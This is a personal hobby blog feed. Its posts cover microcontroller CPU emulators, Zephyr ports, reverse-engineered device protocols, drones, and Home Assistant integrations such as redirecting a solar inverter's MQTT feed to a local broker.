Posts | Blue Duck Valley Rd

6502 and Apple 1 emulation

Sat, 16 May 2026 00:00:00 +0000

I couldn’t resist and re-used the architecture of my recent Z80 projects to make a 6502 and Apple 1 emulator. According to the Rugg/Feldman benchmarks, the emulator runs like a 1.8 MHz 6520 when running on the $0.15 CH32V006, such as the one in the $1.5 WeActStudio.CH32V00xCoreBoard.

Finishing up my ZX81 on the CH32V006

Sat, 09 May 2026 00:00:00 +0000

I’ve finished my Z80 emulator for the CH32V006. It was interesting experimenting with different interpreter architectures as the CH32V006 is RISC-V and the performance was very sensitive to the compiler and architecture. In the end, a threaded interpreter using computed gotos was 2 x faster than the other architectures but only on GCC. All other combinations of (switch, threaded, tail call) x (clang, gcc) performed about the same.

According to zexdoc the system performs like a 4.2 MHz Z80. The ZX81 runs at 3.25 MHz and spends most of its time drawing the screen, giving an effective frequency of 0.8 MHz, so this emulator is ~5 x faster than the original.

Some highlights of the final version:

Includes a ZX81 and RC2014 emulator
Runs the ZX81 ROM and the zexdoc test suite
Core dispatch is generated from the https://github.com/deeptoaster/opcode-table machine-readable description
Generates threaded and tail call interpreters
Supports reducing the code size by re-using the dispatch code for infrequent instructions
IO backends for native Linux and Zephyr
Runs over the serial port, emits the UTF-8 versions of the ZX81 character set, and only updates the parts that changed between refreshes

There’s two interesting follow on projects. I’d like to change anything heavy, such as the IN, OUT, or LDIR to an emulator exits as I suspect that will let the compiler inline the core instructions without the extra register pressure of handling heavy instructions. I also have a custom CH32V006 board with 8 MiB of PSRAM and 16 MiB of flash which is more than enough to run the RC2014 version of CP/M.

Dead ends on emulator performance

Sun, 19 Apr 2026 00:00:00 +0000

My Z80 emulator now runs on the CH32V006 and achieves better than real time, so I’ve been looking at ways of improving the performance. So far most have been dead ends.

I’m using the zexdoc test suite as the benchmark. The core is a threaded interpreter using computed gotos and is generated from a machine readable version of the instruction set, making it simpler to try different methods.

I’ve tried:

Clang vs GCC: GCC is ~2x faster
Switching to a tail call interpreter: ~2x slower
Lazily updating the flags: at most 40 % of flag updates are unused, which is not enough to recover the overhead
Moving A to a variable: ~5 % faster
Moving PC to a variable: ~10 % slower
Updating the PC to host address calculation on line change: ~10 % slower

Interestingly, compiler hints like [[likely]] can reduce performance, as the code is very sensitive to getting exactly the right control flow.

Next is to try splitting the carry flag C into a separate field. The tail call interpreter is worth revisiting, as the RISC-V compiler still generated a prologue and epilogue which seems fixable.

I used Claude Code for some of these experiments and it’s been decent. Most of the cases are some type of large refactoring and it’s about as fast as me. The code is good about ⅓rd of the time, and for most of the other times it’s been enough to try the idea and discard when it turns out to be a dead end.

Z80 emulation

Fri, 10 Apr 2026 00:00:00 +0000

I’m experimenting with writing yet another Z80 CPU emulator. So far it can take the instruction set definition from deeptoaster/opcode-table, convert it to a computed goto form, and boot the ZX81 ROM. The main bugs were in getting the djnz sense wrong, and converting jp (ix) to a jump to the address at ix indirect, not jump to the address in ix.

An earlier version took the ZX81 assembly from open81 and converted it to C++. It was very fast, but the Z80 instruction set is effectively bytecode to a 64 bit machine, and expanding an 8-bit-ish bytecode to multiple 64 bit instructions blew the 8 KiB ROM up to over 200 KiB. It was nice how the compiler could eliminate unused flag updates.

Next step is to benchmark different interpreter approaches. For that I need a test suite and benchmark, and I plan to use https://github.com/raxoft/z80test for both.

I want to try moving the most common registers - so A, F, and PC - to variables so the compiler can optimise them. This probably means moving from a computed goto form to tail call. I also want to try decomposing the flags and switching to lazy generation, as ~50 % of the interpreter is for updating the flags but I suspect the flags are only used ~10 % of the time.

A simple ZX81 emulator on the CH32V006

Sat, 14 Mar 2026 00:00:00 +0000

It’s a toy, but I can now emulate a 1980’s ZX81 on the CH32V006. The performance is equivalent to about a 3 MHz Z80 which, due to how the ZX81 spends most of the time drawing the display rather than running the code, means the overall system is faster than the original.

This version runs over the serial port, translates the ZX81 character set to the equivalent Unicode, and translates the VT keycodes into the equivalent ZX81 keys.

The emulation gets 4 KiB of the CH32V006’s 8 KiB of RAM which is a good step up from the original’s 1 KiB. This could be extended 6 KiB+ by reworking how address decode is done.

Thanks to Zephyr for the RTOS, sz81 for the ROM, and z80emu for the Z80 core.

Next up is to implement the remainder of the keyboard and to decide how to load some games onto it. Medium term I want to experiment with different emulator architectures, generating composite video, and adding PSRAM to run CP/M.

Heewing F01 balance

Sat, 17 Jan 2026 00:00:00 +0000

I’m building a Heewing F01 using a Holybro Kakute F405-Wing Mini and some spare parts. It’s an interesting build as the baseline has moved on since I first brought my RC equipment and, for example, the autopilot does not support PPM but only serial based protocols such as SBUS. My transmitter is old enough that getting a FASST receiver with SBUS is hard. Luckily one (and only one) of my stash of recievers supports that.

For batteries, I have both 3S 2200 mAh 110 mm and 2S 1300 mAh 75 mm long batteries. Neither is great - the 3S is likely too heavy, and the CoG is too far back with the 2S.

For reference, the math is:

Distance from design CoG to back to front of battery area: ~130 mm
3S battery: 110 mm long at 184 g
2S battery: 75 mm long at 77 g, need two to balance

The 3S has a moment of (130 - 110/2)*184 = ~14.2e3, while the pair of 2S gives (130 - 75/2)*75*2 = ~13.8e3. So it’s nice to see the math match reality.

Heewing recommend 2-4S 1500-3500 mAh (!) and recommend a 3500 mAh 85x40x40 246 g. AUW is 350 g to 850 g, and my current build is 311 g.

So a SWAYTRONIC 3S 1600 mAh 87x43x22 or 2400 mAh should be fine.

Pixhawk GPS pinout

Sun, 11 Jan 2026 00:00:00 +0000

Writing this down for future me. I’m assembling a drone using some old parts and could not find the pinout to this GPS / compass combo:

For reference, with the antenna pointing up and looking at the connector, then the pins from left to right are:

The connector seems to be a JST-SH 1.0 mm socket. VCC goes to a regulator. Surprisingly, if you connect 5 V to SCL then the GPS still runs correctly which confused me for a while.

The markings on the board are NEO-M8N-0-01 and HG-C04_V1.1. The antenna is a Cirocomm. I suspect it came with a Pixhawk or Pixracer kit.

Stiebel Eltron LWZ 130 and Home Assistant: blinking

Sun, 02 Nov 2025 00:00:00 +0000

So far so good. Home Assistant can send commands to the ESP32, which sends Modbus coil writes to the CH32V006, which turns the LEDs on and off. Next is the I2C side. I’ve found a couple of bugs in Zephyr along the way and will send patches.

Stiebel Eltron LWZ 130 and Home Assistant

Sat, 01 Nov 2025 00:00:00 +0000

I have a LWZ 130 ventilator that I’d like to hook up to Home Assistant to control the fan speed and to get other metrics like the inlet and inside temperature. The ventilator communicates with the display over I2C and, based on my previous investigation and the good work at https://github.com/kdarnok/lwz180, it looks straight forward. It’s I2C, but any device can broadcast at any time.

The bus runs at 5V, so my plan is to use a 5V-tolerant CH32V006, run Zephyr, implement a LWZ to MODBUS interface, and then use a ESP32 ESPHome device to bridge between MODBUS and Home Assistant. Adding a 5V tolerant interface directly to the ESP32 would be simpler but less fun.

I’ll also investigate using the CH32V006 internal bootloader to support remote updates.

Linux on a CH32V006 based emulator: Assembled

Sun, 19 Oct 2025 00:00:00 +0000

I’ve assembled the first three boards. I ordered the PCBs from AISLER, components from LCSC, and a new soldering iron and reflow plate from Aliexpress. The reflow plate has been great - not for the soldering aspect as I don’t have any solder paste yet, but for rework. I initially put the flash and PSRAM on the wrong way around and the plate made it easy to heat up the board and remove the components.

The board had a few minor issues: the regulator EN pin needs to be tied high, the push button footprint is slightly too large, and the UART TX and RX are swapped.

The emulator works and boots through to Linux. It needs work though:

The timer interrupt is frequent enough and the emulator is slow enough that it spends all of the time in interrupts. I’ll look at capping the interrupt rate
The emulated UART is polled by Linux and has a one character buffer, so you need to press a key; wait for it to process; then do the next. I’ll look at adding a PFIC and buffering.
Flash is much slower than the PSRAM

Apart from that the performance isn’t terrible. I think I can make it twice as fast though…

Linux on a CH32V006 based emulator: PCB

Sun, 05 Oct 2025 00:00:00 +0000

The schematic and PCB are done. I’ve gone for a compact SMD design with the CH32V006FxPx, 8 MiB of PSRAM, and 16 MiB of NOR flash. The CH32V006 does not support QSPI mode, but I’ve wired the memory to port C so I can efficiently implement it in software. I’m not sure the software version will beat the hardware single bit mode - the best assembly version so far is 23 instructions which, assuming perfect pipelining and no branch cost, gives 33.4 Mb/s which is mildly better than the hardware’s 24 MHz.

I’ve opportunistically brought out some pins on a edge connector. This should let me connect many of these together via a baseboard. UART2 will be used as shared bus.

Linux on a CH32V006 based emulator: starting out

Sun, 28 Sep 2025 00:00:00 +0000

It’s been done before both on the RP2040 and CH32V003, but I’d like to develop a CH32V006 based emulator that can run RISC-V Linux. The goals are:

Run RV32 Linux with a console, RAM, and SPI storage
Make it as fast as possible. In addition to optimising the emulator, look at adding a cache and QSPI modes
Make it portable via building on Zephyr
Include a display generator
Hardware should be re-usable for a future ZX81 emulator

The scope includes the emulator and hardware. Looks like the phram driver can be used to expose a memory-mapped SPI flash as MTD, and the gpio-syscon driver can be used to blink some LEDs. Let’s see how it goes!

LWZ 130 display protocol

Sun, 23 Mar 2025 00:00:00 +0000

The Stiebel Eltron LWZ 130 mechanical ventilator comes with a remote display that shows the current fan setting, temperature, and other settings, and also lets the user change the current fan setting or temporarily boost the fan.

I plan to connect this to Home Assistant, and this page covers the protocol and decodes some of the fields.

The display is connected by a four wire 5 V I2C bus where the in-wall unit acts as the master and sends write commands to the display. The bus frequency is 15 kHz. The pins are SCL, GND, VCC (+5 V), and SDA.

All writes are to address 0. Some example transactions are:

Level 0: F7 20 0B 20 6D 00 00 00 3F 00 5B 5B 7D 15 55 04 00 00 00 10 00 00 05 01 00 00 00 C7
Level 1: F7 20 0B 20 6D 00 00 00 06 00 5B 5B 7F 15 55 00 00 00 00 10 00 00 05 01 00 00 00 89
Level 2: F7 20 0B 20 6D 00 00 00 5B 00 5B 5B 7D 15 55 00 00 00 00 10 00 00 05 01 00 00 00 83
Level 3: F7 20 0B 20 6D 00 00 00 4F 00 5B 5B 7D 15 55 00 00 00 00 10 00 00 05 01 00 00 01 4E

In all cases the display was showing the current temperature and had the ‘check filter’ symbol lit. Level 0 also lights a ‘power’ segment on the display, and level 3 also lights a ‘boost’ LED. Running reveng shows that the last byte is a frame check with width=8 poly=0x49 init=0x00 refin=false refout=false xorout=0x00 check=0x6b residue=0x00 name=(none), which has the same polynomial as CRC-8/GSM-B.

The 8th byte is the current fan speed encoded as a 7 segment display. 3F is the 6 segments of 0, 06 is the 2 segments of 1, 5B is the 5 segments of 2, and 4F is the 5 segments of 3. This matches the table at https://hosteng.com/dmdhelp/content/instruction_set/SEG_Hex_BCD_to_7_Segment_Display.htm.

Given this, the 5B 5B 7D is the current temperature of 22.6 Celsius.

So the update display command is:

F7 - update display command
32 - constant across command types
0B 20 6D 00 00 00 - unknown
3F - fan speed as a 7 segment display
00 - unknown
5B 5B 7D - temperature as three 7 segment display digits
15 55 - unknown
04 - 04 if the ‘power off’ segment is set
00 00 00 10 00 00 05 01 00 00 - unknown
01 - 01 if the ‘boost’ LED is on
C7 - CRC-8

Keys

Wheel clockwise: E3 30 20 00 00 02 92
Wheel anti-clockwise: E3 30 20 00 00 01 49
Boost: E3 20 10 3B 00 00 CF

reveng confirms that the last byte is the same frame check as above.

It’s unclear which unit which writes which byte. It’s likely that the in-wall sends the E3 as a “poll keys”.

Adding all the CH32V003s to Zephyr... so far

Sat, 12 Oct 2024 00:00:00 +0000

In follow up to my last post, here’s a video of 5 CH32V003 based boards running Zephyr and at least blinking a LED.

From the left these are:

Muselab nanoCH32V003
Maker Go QSZNEC
Unnamed CR-CH32VXXX
My own spin on CH32V003-GameConsole with a colour display
wagiminator’s CH32V003-GameConsole

Looking forward to kholia@’s PR landing. He’s been working on it since June…

Adding all the CH32V003s to Zephyr

Sun, 29 Sep 2024 00:00:00 +0000

kholia@ and I have been working on adding support for the low-cost CH32V003 to Zephyr, which got me wondering: how many readily available CH32V003 boards are there, and what would it be like support all of them to Zephyr?

So far I’ve ordered or built:

Maker Go QSZNEC
wagiminator’s CH32V003-GameConsole
Muselab nanoCH32V003
Unnamed CR-CH32VXXX

I skipped:

Olimex RVPC, as the I/O is too unique and the shipping is too high
Olimex MOD-IO2, which has two relays
Electronicfans unnamed, as I couldn’t find the schematic.

Special mention to this board which is a CH32V003, but according to the page and pictures, also ARM, and also with 64 k of flash and 8 k of RAM.

Performance of a Minn Kota electric motor on an inflatable hull

Sat, 10 Aug 2024 00:00:00 +0000

As a summer project, I’m experimenting with adding an electric trolling motor on a 2.9 m inflatable. My medium term goal is to hook up a leftover Ardupilot and have the boat slowly take me around the lake in the most plesent way possible.

Everything is done on a budget so it’s a 34 lb thrust motor with a 20 Ah LiFePO4 battery. I did a run today in still conditions and used the power distribution board and GPS to measure the performance.

The motor has a tiller with 5 speed settings and you can see speeds 2 to 5 on the chart. I omitted speed 1 as the velocity had too much variance.

Speed 4 at 14 A looks like the sweet spot and gives ~1.5 hours of endurance and ~5.5 km of range.

Next up is to add a PWM speed controller and servo.

Faster SPI bitbang for Zephyr on the ch32v003

Sun, 28 Jul 2024 00:00:00 +0000

As part of porting Zephyr to the CH32V003, I’ve been working on my own spin of wagiminator@’s CH32V003 based mini game console.

Once change was swapping the monochrome OLED dispaly for a 160x80 colour LCD with a ST7735R controller. Unfortunately, the SOIC-20 version of the CH32V003 doesn’t expose the hardware SPI interface, so I need to emulate it in software.

Zephyr includes a generic spi_bitbang driver but it’s quite slow, topping out at 160 kHz on this processor. I tried optimising it but the changes were too invasive.

The display is write-only, so I implemented a new driver and got it up to 1.5 MHz. The driver uses a few ideas such as precomputing the MOSI and CLK bits based on CPOL and CHPA, packing up to 4 byes into a single word, and using the hardware multi-bit set/reset support. The latter is fairly common across SoCs, so the driver should still be fairly portable.

Here’s the update rate before:

and after:

And, for bonus points, here’s a kite bouncing around the screen:

My own spin of the CH32V003 Mini Game Console

Sat, 06 Jul 2024 00:00:00 +0000

kholia@ and I are working on porting Zephyr to the CH32V003. While he’s sorting out license issues, I’ve been working on my own spin of wagiminator@’s CH32V003 based mini game console.

This switches to a 20 pin SOIC, adds an optional colour LCD, a second action button, and pulls out the debug, I2C, and UART on QWIIC-like JST connectors. Today I got the LED blinking:

I’m pretty happy with the JST connectors. They’re compact and easy to hand solder.

CH32V003 Mini Game Console build

Sat, 01 Jun 2024 00:00:00 +0000

I had fun building a few of wagiminator@’s CH32V003 based mini game console. This was my first time buying from LCSC, ad I was quite happy with the selection and turn around time. It’s always amusing needing a single $0.01 0603 resistor and having to order 50 of them.

There’s a few tweaks I’d make to the design:

Add backfeed protection for the battery. Currently connecting the debugger power and battery at the same time will feed power into the battery
Add reverse voltage protection for the debugger power. It’s three pins and too easy swap ground and power
Address brownouts when using the buzzer. The buzzer can take up to 100 mA, which is too much for a cheaper CR2032

Next is to dust off my port of Zephyr to the CH32V003 and port the games over.

Ampler eBike Bluetooth protocol

Sun, 12 May 2024 00:00:00 +0000

I have an Ampler Stout eBike which exposes metrics as Bluetooth attributes over GATT. I’d like to track the battery level and odomoter, so spent some time and decoded some of the attributes.

The bike exposes:

Characteristic	Example data
340d1528-a89e-4d4e-9078-06d21096ea36	0x5b 0x00 0x00 0x00 0x11 0x02 0x00 0x00 0x04 0x01 0x00 0x00 0x00 0x00 0x00 0x00
340d1529-a89e-4d4e-9078-06d21096ea36	0x00 0x00 0x00 0x00 0xdf 0x14 0x00 0x00 0x9c 0x0a 0x90 0x00
340d1530-a89e-4d4e-9078-06d21096ea36	0xa0 0x00 0x90 0x01 0x02 0x00 0x06 0x00 0x64 0x00 0xfa 0x00
340d1536-a89e-4d4e-9078-06d21096ea36	0x01
340d1538-a89e-4d4e-9078-06d21096ea36	0x00
340d1542-a89e-4d4e-9078-06d21096ea36	0x58 0x02
340d1544-a89e-4d4e-9078-06d21096ea36	0x00
340d1545-a89e-4d4e-9078-06d21096ea36	0x0a 0x18 0xe2 0x64
340d1547-a89e-4d4e-9078-06d21096ea36	0xff 0x02 0x11 0x00 0x00 0x00 0x03 0x00
340d1548-a89e-4d4e-9078-06d21096ea36	0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00
340d1549-a89e-4d4e-9078-06d21096ea36	0x00 0x00 0x00 0x00
340d1550-a89e-4d4e-9078-06d21096ea36	0x33

The format appears to pack related values into the same characteristic. Values are little endian and either half words or words. The units seem to be metric such as m for range and m/s for speed with a power of 10 multiplier, such as the voltage being in decivolts:

Characteristic	Format	Fields
340d1528-a89e-4d4e-9078-06d21096ea36	HHhH	% charged, voltage (dV), temperature (dºC), ?
340d1529-a89e-4d4e-9078-06d21096ea36	III	?, speed (mm/s), odometer (dm)
340d1536-a89e-4d4e-9078-06d21096ea36	B	assist level (0, 1, 2)
340d1538-a89e-4d4e-9078-06d21096ea36	? (bool)	light
340d1545-a89e-4d4e-9078-06d21096ea36	I	? increases over time 1692538885

The time value isn’t clear but might be a POSIX time, i.e. roughly Sunday, 20 August 2023.

Decoding the example above gives:

Characteristic	Fields
340d1528-a89e-4d4e-9078-06d21096ea36	91 % charged, 52.9 V, 26.0 ºC, 0
340d1529-a89e-4d4e-9078-06d21096ea36	0, 5343 mm/s (19.2 km/h), 943.9900 km
340d1536-a89e-4d4e-9078-06d21096ea36	assist level 1
340d1538-a89e-4d4e-9078-06d21096ea36	light off

Next step is to implement a decoder, export this to Home Assistant, and collect it via Prometheus.

Solar powered ESPHome sensor

Sat, 11 May 2024 00:00:00 +0000

I’m experimenting with a long life, solar powered ESPHome based device. The original idea was for outside, low update rate sensors such as a tank water level sensor. Looks like the power consumption is too high, but it’s been interesting.

THe components are:

All of the componets are roughly the same size and fit together in a small IP66 box.

ESP32-C6 and ESPHome

ESPHome currently doesn’t support the C6, as the C6 requires ESP IDF 5 while ESPHome targets IDF 4. However, except for the ADC componet, it’s pretty close.

To target the C6 with ESPHome 2024.4, fetch componets/adc from my tree and try the following:

external_components:
- source:
type: local
path: components
# Remove post 2024.04?
- source: github://esphome/esphome@dev
components:
- logger
esp32:
board: esp32-c6-devkitm-1
variant: esp32c6
flash_size: 4MB
framework:
type: esp-idf
version: 5.2.1
platform_version: 6.6.0
sdkconfig_options:
CONFIG_ESPTOOLPY_FLASHSIZE_4MB: y

Power budget

The FireBeetle claims that it draws 16 uA in deep sleep. The ESP32-C6 power documentation suggests 70 mA at startup and 24 mA active.

The LiPo self discharge is about 1 % per month, or 30 mAh/month, or 42 uA.

The panel generates 0.33 W at 5 V, or 66 mA.

The board uses a linear regulator and the charge controller is constant current, so the math should be done in amps.

So, assuming a overcast day (1/3 power) with 4 hours of sun, mA/day = 66 mA * 1/3 * 4 = 88 mAh.

Connecting to the Wifi and Home Assistant takes ~10 s. Taking 70 mA gives 1.25 h of operation/day, or 450 10 s cycles, or one cycle every 3.2 minutes.

Rounding the cycle up to 5 minutes gives 700 mAs every 5 minutes, or 201600 mAs/day, or 56 mAh/day, so the battery could last 53 days.

Tests

Due to a bug, the board stayed on overnight one evening and dropped from 3.91 V to 3.72 V over 13 h, or ~65 % to ~20 %, or 1350 mAh/13h, or 103 mA. This assumes the battery is healthy.

Last night it went from 33 % to 30 % over 13 h, or 166 mAh/day on a 5 minute cycle. The measurement is noisy and poobably +/- 1 %, so the range is 2 % to 4 %, or 110 mAh/day to 221 mAh/day.

Deep sleep, sensors, and OTA

To minimise the time spent awake, my approach is to:

Start the Wifi
Wait until Home Assistant connects to the API
Force the sensors to update
Delay to ensure the updates go out
Calculate the time until the next multiple of 5 minutes
Enter deep sleep until then

I’m not sure if the ‘force update’ is needed, as ESPHome might send the most recent value on connect.

Except for the ‘delay to hope that the values have been propagated’, everything else is event driven which minimises the on time.

To allow OTA updates, I:

Added a custom toggle helper in Home Assistant
Added that binary sensor in ESPHome
If the toggle is set then prevent deep sleep

ESP32 as a low power sensor

Sat, 20 Apr 2024 00:00:00 +0000

Notes on using an ESP32 as a low power sensor:

Battery:

I have some 18650’s already
Battery holder is 76 x 21 x 19
LiPo drop by about 1 % per month
3000 mAh at 1 %/month is ~40 uA/h

ESP32:

FireBeetle 2 ESP32-C6 is apparently 20 uA in deep sleep
60 x 25.4 x 7.3 mm
Takes up to a 6 V panel

Panel:

Could use a solar panel to top up the power
A 5 V 65 mA panel is 68 x 36 mm
Ideally the LiPo should stay cool, but the panel should get sun…

Box:

Maximum of dimensions is 76 x 36 x 19 mm
Purecrea have a small 77 x 52 x 28 mm inside dimension box

Updates to wordclock

Sun, 03 Mar 2024 00:00:00 +0000

A few years ago I made a MicroPython based word clock ( example). I’ve refreshed it to work with the latest version of MicroPython and added a MQTT based interface to Home Assistant.

This interface turned out quite nice, as the clock appears as a dimmable lamp, letting me automatically dim it at night and turn it almost off during the early hours of the day. This reduces the glow in the lounge at night.

OpenWrt as the first point in my network

Tue, 30 Jan 2024 00:00:00 +0000

I’d like to separate the primary and secondary services in my home network so, for example, a problem with Nginx doesn’t break the home automation. The current plan is to put the primary services including routing and basic automation onto one simple machine and see if that helps.

Rather than use Debian and try to use it as a router, I thought I’d start with OpenWrt and try to use it as an application server. The first step is to trial it on my home office.

Notes

Hardware I have:

Intel 7260 Wifi
Intel I218-LM Ethernet
Realtek RTL8153 Ethernet
Belkin RTL8188CUS Wifi
Apple A1277 Ethernet (ASIX?)
CSR Bluetooth dongle

Misc:

Blank the screen: Add setterm --blank 1 to rc.S

SSH:

Firewall > Traffic Rules > Allow port 22 from wan
Uses dropbear, works fine as a jump host

Dynamic DNS:

ddns-scripts-cloudflare

Toy 8 bit CPU

Sun, 21 Jan 2024 00:00:00 +0000

I decided to step back from the full 6502 and implement a toy 8 bit processor.

I ended up implementing Soo-Ik Chae’s architecture from https://ocw.snu.ac.kr/sites/default/files/NOTE/6639.pdf. Zachary Yedidia’s SystemVerilog Guide was a useful guide to idiomatic SystemVerilog, and David Money Harris’s MIPS implementation from CMOS VLSI Design 4th Ed. was very readable.

FPGA and blinking lights

Sat, 13 Jan 2024 00:00:00 +0000

Today I got the OrangeCrab blink example running on my board, yay!

My daily driver is a Pixelbook, so I resurected an old laptop and put Debian stable on it so I could have a good set of USB ports. The only niggle is that you need to replug the board to get into the boot loader, but you can add a module to the design that watches the boot button and resets when pressed.

Overally, I’m happy. Next step is to write some RTL.

WireGuard as a home VPN

Tue, 02 Jan 2024 00:00:00 +0000

I’ve just set up WireGuard on my home server and it’s pretty easy even without an UI. I’m now using it as a VPN from Android, Chrome OS, and Windows.

The surprising thing was the peer AllowedIPs, which lists which IPs a peer owns. I ended up allocating each peer a /30 and setting the peer to use the first address in the range.

Performance is very good and easily saturates my home Wifi. I added a simple Prometheus exporter based on the wg show all dump output that runs on a hourly cronjob and writes out the last ping time and transferred bytes.

Learning FPGAs #1

Mon, 01 Jan 2024 00:00:00 +0000

I normally work at the system or electronic level, and one thing I’ve always wanted to learn is FPGAs and the corresponding HDLs.

To pull this together, I plan to implement the 6502 using Verilog on an OrangeCrab board. The board uses a ECP5-25F and is supported by Yosys.

6502

I chose the 6502 as it reminds me of the VIC-20 and C128 I used to own, and it has a small, straight forward instruction set.

According to https://llx.com/Neil/a2/opcodes.html, most instructions have a aaabbbcc format, where aaa and cc determine the opcode and bbb is the addressing mode. https://www.pagetable.com/c64ref/6502/ has a nice 3-3-2 view of this.

The instructions are divided into groups based on cc:

00 is group 3
01 is group 1
10 is group 2
11 is reserved

Group 1 (c = 01)

Covers 1/4th of the decode space, where aaa is:

000 ORA
001 AND
010 EOR
011 ADC
100 STA
101 LDA
110 CMP
111 SBC

and bbb is:

000 (zero page,X)
001 zero page
010 #immediate
011 absolute
100 (zero page),Y
101 zero page,X
110 absolute,Y
111 absolute,X

Group 2 (c = 10)

000 ASL
001 ROL
010 LSR
011 ROR
100 STX
101 LDX
110 DEC
111 INC

where bbb is:

000 #immediate
001 zero page
010 accumulator
011 absolute
101 zero page,X
111 absolute,X

So zero page, absolute, zero page, X, and absolute, X are the same.

Group 3 (c = 00)

001 BIT
010 JMP
011 JMP (abs)
100 STY
101 LDY
110 CPY
111 CPX

where bbb is:

000 #immediate
001 zero page
011 absolute
101 zero page,X
111 absolute,X

which is the same as group 2 except accumulator.

The conditional branches have the form xxy 100 00, i.e. b is 100 and c is 00, and x is:

00 negative
01 overflow
10 carry
11 zero

which is compared with y.

Next is to implement the ALU.

Faster posting

Tue, 26 Dec 2023 00:00:00 +0000

TL;DR: the minimal template is:

---
title: "Faster posting"
date: 2023-12-26
---
Content with no initial title

Details:

I’m using Hugo, which is a static site generator.

Looks like it’s possible to post from gitea. Let’s try…

Step 1: install drone.io. The site builds, and this file is rendered, but it’s not part of the index.

Step 2: add a minimal header with draft and authors.

Step 3: add a title and date.

Step 4: drone stops updating to the latest?

Step 5: drop the header

Step 6: re-add the header. The publish date was in the future.

Step 7: just the date.

Step 8: just the title.

Step 9: re-add the date.

XT60 based charger

Sun, 04 Jun 2023 17:54:35 +0200

charger is a case for a no-name car charger that lets you use model aircraft batteries to charge your phone.

The charger is quite nice. It’s panel mount and comes with a QC 3.0 port and two USB-C power delivery ports. The PD ports charge my Pixel at more than 12 W.

I made this as we were going camping and wanted to keep our phones charged. I’ve got quite a few 3S and 4S model aircraft batteries and this was less wasteful than buying a power bank.

CH32V003 and Zephyr

Sun, 29 Jan 2023 11:45:23 +0100

CH32V003 and Zephyr

I’ve picked up a CH32V003 development board. Their claim to fame is being a RISC-V 32 bit microcontroller with 16 KiB of flash for $0.10 in quantity. I’d like to port Zephyr to it - there’s no good reason as the default Zephyr configuration is too big for 16 KiB of flash and 2 KiB of RAM, but stripped down it fits quite well.

I’ll update this post as I go along.

GPIOD traps

Be careful if you configure GPIOD at start up. The reset pin and SWD pin are both on GPIOD, and if you set them to output at startup then the chip can no longer be programmed.

My solution was to desolder and replace the chip.

Gitjournal

Sun, 26 Jun 2022 12:26:02 +0200

GitJournal is very cool. It’s an Android app where you can write notes in Markdown and then sync up to your own Git repository.

I was using NextCloud social for small private notes but that’s been abandoned. This setup is clean, text based, future proof, and allows self hosting. Nice!

nppilot using Ardupilot

Sun, 16 Jan 2022 17:44:44 +0100

I’ve been working on nppilot, the “never complete autopilot” project for some time now. The latest iteration uses a Traxxas Revo 1/16, an OpenPilot Revolution for I/O, and a Raspberry Pi 3B running ROS as the command computer.

And it works! Here’s the car running a figure-8 pattern:

It doesn’t do much at the moment, but that’s more progress than the other reboots.

Some notes on the setup:

I changed the spur gear down to 18T to reduce the top speed, get more speed control, and reduce the number of high speed crashes…
Wifi with a range extender seems fine as a monitoring link
I tried a Pi 4B, but my USB power bank can’t supply enough current. This matches benchmarks where the 4B is 2.7 W at idle vs 1.2 W.

VW to ABRP via Home Assistant

Thu, 30 Dec 2021 19:40:05 +0100

I have a Volkswagen ID series car that I’m pretty happy with. The car automatically uploads telemetry such as the current battery state of charge and, with a bit of work, this can be pulled into Home Assistant for viewing and then re-exported to A Better Route Planner to give live range planning.

First, add ha_vwid as a custom component to your Home Assistant installation. I did this by:

cd /data/hass/third_party
git clone https://github.com/raymondd78/ha_vwid
cd ../custom_components
ln -s ../third_party/ha_vwid/custom_components/vwid
systemctl restart hass

The data had steps in it that looked like VW was throttling my queries, so I reduced the poll rate as well:

--- a/custom_components/vwid/sensor.py
+++ b/custom_components/vwid/sensor.py
@@ -80,7 +80,7 @@ async def async_setup_entry(
_LOGGER,
name = "VW ID Sensor",
update_method = async_update_data,
- update_interval = timedelta(seconds=30),
+ update_interval = timedelta(seconds=121),
)
# Fetch initial data so we have data when entities subscribe

Next, go to the Home Assistant UI and enable the Volkswagen ID integration. You’ll need your We Connect ID user name, password, and VIN. Once done you can add a panel showing the vehicle highlights:

Now that Home Assistant has the data, create a command that can post the data to the Iternio Telemetry API:

rest_command:
update_abrp:
method: POST
headers:
authorization: !secret abrp_api_key
content_type: "charset=utf-8; application/x-www-form-urlencoded"
url: >
{% set tlm = {
"utc": float(as_timestamp(utcnow())),
"soc": states('sensor.volkswagen_id_state_of_charge'),
"est_battery_range": float(states('sensor.volkswagen_id_current_range_in_km')),
"is_charging": int(states('sensor.volkswagen_id_charge_rate')) > 0,
} -%}
https://api.iternio.com/1/tlm/send?token={{token}}&tlm={{tlm|to_json|urlencode}}

Note that this takes the telemetry, encodes it as JSON, then posts it as a query parameter. You can add other types to the tlm dict.

See the API documentation on how to obtain an API key. Once you have this, add it to secrets.yaml like abrp_api_key: APIKEY 12341234-1234-1234-1234-12312341234.

Finally, log into ABRP and use the ABRP OBD Connection > Link generic section to get a token for your vehicle. Use this to create an automation rule that runs the REST command whenever the range changes or time passes:

- alias: Push car to ABRP
trigger:
- platform: state
entity_id: sensor.volkswagen_id_current_range_in_km
to:
- platform: time_pattern
minutes: "/8"
action:
- service: rest_command.update_abrp
data:
token: the-token-you-get-from-the-link-generic-ui-in-abrp

As a bonus, if you enable the Home Assistant Prometheus integration then you can also graph the charging and time remaining:

and then use an expression like

predict_linear((homeassistant_sensor_unit_minutes>0)[30m:2m], 0)
unless (homeassistant_sensor_unit_minutes==0)

to get a finer estimate of when the charge will complete and alert when it’s almost done.

Local SolaX data

Sun, 05 Dec 2021 15:49:08 +0100

I’ve recently installed a SolaX X1 Mini grid-tied inverter. This comes with a Wifi adapter and cloud offering where you can view the current system performance. This post covers how to redirect the underlying MQTT connection so you can read data from the inverter without data leaving your network.

The steps are:

Patch Mosquitto to accept packets with a zero packet identifier
Configure Mosquitto to also listen on port 2901
Change your DNS to map mqtt001.solaxcloud.com and mqtt002.solaxcloud.com to your MQTT broker
Configure Home Assistant or similar to unpack the updates

The uplink is implemented using an unencrypted MQTT connection to mqtt001.solaxcloud.com on port 2901. The inverter fails over to mqtt002.solaxcloud.com if the first is unavailable.

The PUBLISH packets sent by the inverter are invalid as the packet identifier is set to zero. This can be worked around by patching Mosquitto and removing this check from handle_publish.c. If you don’t do this then Mosquitto will detect a protocol violation and close the connection.

On connection the inverter subscribes to a set of topics, requests the current time, and reports as ‘up’. It then publishes the current state every five minutes. All topics contain the Wifi adapter serial number and all payloads are JSON.

